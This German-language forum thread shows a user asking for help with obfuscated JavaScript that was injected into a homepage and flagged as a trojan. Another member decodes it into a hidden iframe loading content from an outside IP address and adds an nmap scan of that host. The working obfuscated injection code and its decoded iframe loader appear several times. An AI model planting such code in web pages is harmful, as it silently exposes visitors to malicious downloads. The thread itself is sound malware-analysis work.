Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Cryptography & Encryption Ver- und Entschlüsselung, Algorithmen, Kryptoanalyse ? Kryptographie in der Praxis. Blowfish, Triple-DES, XOR u.a.

Script entschlüsseln

Diskussion: Script entschlüsseln im Forum Cryptography & Encryption, in der Kategorie Security Area; Anzeige Hallo, auf eine Hompage wurde ein zusätzlicher Code hinzugefügt. Dieser wird von Kaspersky als Trojaner gemeldet. Der Code scheint ...

Antwort
Alt 14.05.08, 07:46   #1 (permalink)
 
Registriert seit: 14.05.08
sandro76 Leistung: Facit NTK
Likes: 0
Standard Script entschlüsseln

Anzeige

Hallo,

auf eine Hompage wurde ein zusätzlicher Code hinzugefügt. Dieser wird von Kaspersky als Trojaner gemeldet. Der Code scheint aber verschlüsselt zu sein. Hat jemand eine ahnung was sich dahinter verbirgt?

Code:
<body bgcolor="#000000" text="#000000"><script>function v4823a3b974d26(v4823a3b97551d){ function v4823a3b975d15 () {var v4823a3b97650f=16; return v4823a3b97650f;} return(parseInt(v4823a3b97551d,v4823a3b975d15()));}function v4823a3b976d09(v4823a3b977500){ function v4823a3b978cdc () {return 2;} var v4823a3b977cf8='';for(v4823a3b9784f9=0; v4823a3b9784f9<v4823a3b977500.length; v4823a3b9784f9+=v4823a3b978cdc()){ v4823a3b977cf8+=(String.fromCharCode(v4823a3b974d26(v4823a3b977500.substr(v4823a3b9784f9, v4823a3b978cdc()))));}return v4823a3b977cf8;} document.write(v4823a3b976d09('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6136383139207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323835393633292B27653965665C272077696474683D343739206865696768743D353937207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
Danke schon mal für die Hilfe

sandro
sandro76 ist offline   Mit Zitat antworten
Alt 14.05.08, 08:50   #2 (permalink)
 
Registriert seit: 07.03.08
90nop Leistung: Facit NTK
Likes: 0
Standard

Hi,
einfach document.write mit einer sichtbaren ausgabe überschreiben. Für einen kurzen überblick reicht sogar "alert(...)"
Code:
<body bgcolor="#000000" text="#000000"><script>function v4823a3b974d26(v4823a3b97551d){ function v4823a3b975d15 () {var v4823a3b97650f=16; return v4823a3b97650f;} return(parseInt(v4823a3b97551d,v4823a3b975d15()));}function v4823a3b976d09(v4823a3b977500){ function v4823a3b978cdc () {return 2;} var v4823a3b977cf8='';for(v4823a3b9784f9=0; v4823a3b9784f9<v4823a3b977500.length; v4823a3b9784f9+=v4823a3b978cdc()){ v4823a3b977cf8+=(String.fromCharCode(v4823a3b974d26(v4823a3b977500.substr(v4823a3b9784f9, v4823a3b978cdc()))));}return v4823a3b977cf8;} alert(v4823a3b976d09('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6136383139207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323835393633292B27653965665C272077696474683D343739206865696768743D353937207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
speichern als *.html und schon sieht man den code:

Code:
<SCRIPT>
window.status='Done';document.write('<iframe name=a6819 src=\'http://77.221.133.150/.if/go.html?'+math.round(math.random()*285963+'e9ef\' width=479 height=597 style\'display: none\'></iframe>')
</SCRIPT>

EDIT:
Der holt sich also von hier: 'http://77.221.133.150/.if/go.html?" irgend was 1337 mässiges...
EDIT2:
nmap meint folgendes:
Zitat:
Interesting ports on 77.221.133.150.addr.datapoint.ru (77.221.133.150):
Not shown: 1713 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
irgend ein russischer server. aber ausser http/ ftp/ssh läuft da nicht viel. Und bekommt der GET Request nicht die korrekte Syntax, landet man auf Google...

mfg
90nop
90nop ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 14.05.08, 09:15   #3 (permalink)
Themenstarter
 
Registriert seit: 14.05.08
sandro76 Leistung: Facit NTK
Likes: 0
Standard

Hallo 90nop,

danke für die Antwort. Wie genau sah denn dein Quelltext aus mit Document.write? Habe evtl. öffter solche Fälle und keine Ahnung wie das funktioniert mit dem "Übersetzen".

Gruß
sandro
sandro76 ist offline   Mit Zitat antworten
Alt 14.05.08, 09:26   #4 (permalink)
 
Registriert seit: 07.03.08
90nop Leistung: Facit NTK
Likes: 0
Standard

Die Ausgabe des entschlüsselten Codes erfolgt in deinem geposteten code mit document.write. etwa so:
Code:
document.write(v4823a3b976d09('...ne menge zeichen...'))
Die Funktion
Code:
v4823a3b976d09('...')
entschlüsselt uns also den code schon. Wir müssen ihn nun nur noch sichtbar machen:

Code:
alert(v4823a3b976d09('...'))
..eben document.write durch alert ersetzten
90nop ist offline   Mit Zitat antworten
Alt 14.05.08, 09:57   #5 (permalink)
Themenstarter
 
Registriert seit: 14.05.08
sandro76 Leistung: Facit NTK
Likes: 0
Standard

Irgendwie bin ich zu blond dafür...

ich bekomme da nur eine weiße Seite.

Code:
<Script>
document.write(v4823a3b974d26(v4823a3b97551d){ function v4823a3b975d15 () {var v4823a3b97650f=16; return v4823a3b97650f;} return(parseInt(v4823a3b97551d,v4823a3b975d15()));}function v4823a3b976d09(v4823a3b977500){ function v4823a3b978cdc () {return 2;} var v4823a3b977cf8='';for(v4823a3b9784f9=0; v4823a3b9784f9<v4823a3b977500.length; v4823a3b9784f9+=v4823a3b978cdc()){ v4823a3b977cf8+=(String.fromCharCode(v4823a3b974d26(v4823a3b977500.substr(v4823a3b9784f9, v4823a3b978cdc()))));}return v4823a3b977cf8;} document.write(v4823a3b976d09('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6136383139207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323835393633292B27653965665C272077696474683D343739206865696768743D353937207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E')))

alert(v4823a3b974d26(v4823a3b97551d){ function v4823a3b975d15 () {var v4823a3b97650f=16; return v4823a3b97650f;} return(parseInt(v4823a3b97551d,v4823a3b975d15()));}function v4823a3b976d09(v4823a3b977500){ function v4823a3b978cdc () {return 2;} var v4823a3b977cf8='';for(v4823a3b9784f9=0; v4823a3b9784f9<v4823a3b977500.length; v4823a3b9784f9+=v4823a3b978cdc()){ v4823a3b977cf8+=(String.fromCharCode(v4823a3b974d26(v4823a3b977500.substr(v4823a3b9784f9, v4823a3b978cdc()))));}return v4823a3b977cf8;} document.write(v4823a3b976d09('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6136383139207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323835393633292B27653965665C272077696474683D343739206865696768743D353937207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E')))
</Script>
Da schein ich was nicht verstanden zu haben, oder?

Gruß
Sandro
sandro76 ist offline   Mit Zitat antworten
Alt 14.05.08, 10:56   #6 (permalink)
 
Registriert seit: 07.03.08
90nop Leistung: Facit NTK
Likes: 0
Standard

1. So, wie es am Ende aussehen sollte habe ich schon in meinem ersten Post gezeigt. (Erstes Code-Quote). Das must du nur noch kopieren, und als *,html speichern und dann starten.

2. K.a. wie du auf deinen obigen code kommst. Es gibt in deinem geposteten code (im Startposting) nur ein einziges "document.write(". Das ersetzt du durch "alert(" . Dann solltest du eben das hier erhalten:
Code:
<body bgcolor="#000000" text="#000000"><script>function v4823a3b974d26(v4823a3b97551d){ function v4823a3b975d15 () {var v4823a3b97650f=16; return v4823a3b97650f;} return(parseInt(v4823a3b97551d,v4823a3b975d15()));}function v4823a3b976d09(v4823a3b977500){ function v4823a3b978cdc () {return 2;} var v4823a3b977cf8='';for(v4823a3b9784f9=0; v4823a3b9784f9<v4823a3b977500.length; v4823a3b9784f9+=v4823a3b978cdc()){ v4823a3b977cf8+=(String.fromCharCode(v4823a3b974d26(v4823a3b977500.substr(v4823a3b9784f9, v4823a3b978cdc()))));}return v4823a3b977cf8;} alert(v4823a3b976d09('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6136383139207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323835393633292B27653965665C272077696474683D343739206865696768743D353937207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
90nop ist offline   Mit Zitat antworten
Alt 14.05.08, 11:15   #7 (permalink)
Themenstarter
 
Registriert seit: 14.05.08
sandro76 Leistung: Facit NTK
Likes: 0
Standard

Ahhh,

jetzt hab sogar ich das verstanden. Mir war das vor lauter Code nicht aufgefallen das du document.write in allert getauscht hattest.
Prima, vielen dank

Gruß
sandro
sandro76 ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Security Area » Cryptography & Encryption » Script entschlüsseln
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
DES Entschlüsseln? Grayson Cryptography & Encryption 1 04.06.05 15:17
jpg entschlüsseln Sino Windows 6 30.12.04 16:14
SSL entschlüsseln Sneaker Cryptography & Encryption 2 16.02.04 16:40
Entschlüsseln Frankiemuniz Cryptography & Encryption 8 20.03.03 21:25


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61